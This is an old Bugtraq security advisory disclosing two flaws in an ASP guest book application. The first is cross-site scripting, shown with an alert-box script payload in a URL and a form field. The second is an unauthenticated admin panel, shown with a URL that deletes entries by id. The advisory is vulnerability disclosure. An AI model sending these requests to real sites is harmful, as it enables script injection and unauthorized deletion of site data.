[29497] in bugtraq
Vulnerability in my guest book
daemon@ATHENA.MIT.EDU (Over_G)
Thu Mar 27 12:18:50 2003
Date: Wed, 27 Mar 2002 18:07:27 +0300
From: Over_G <overg@mail.ru>
Reply-To: Over G <overg@mail.ru>
Message-ID: <129153547.20020327180727@mail.ru>
To: vuln@security.nnov.ru, bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Product: My guest book
Version: ?
OffSite: ?
Problem: CSS and unauthorized access in admin panel
--------------------------------------------------------------
1)Cross Site scripting
http://[target]/myguestBk/add1.asp?name=Name&subject=Subj&email=M@IL&message=<scr*pt>alert ("Test!")</scr*pt>
Or open http://[target]/myguestBk/add.asp and write in "Message" field:
<scr*pt>alert ("Test!")</scr*pt> and press "Post Message".
2)Unauthorized access in admin panel
http://[target]/myguestBk/admin/index.asp
Delete news:
http://[target]/myguestBk/admin/delEnt.asp?id=NEWSNUMBER
with NEWSNUMBER - news number in database.
Contacts: www.overg.com www.dwcgr0up.com
irc.zaingandol.org #DWC
ogprog@ukr.net
Best regards, Over G[DWC Gr0up]
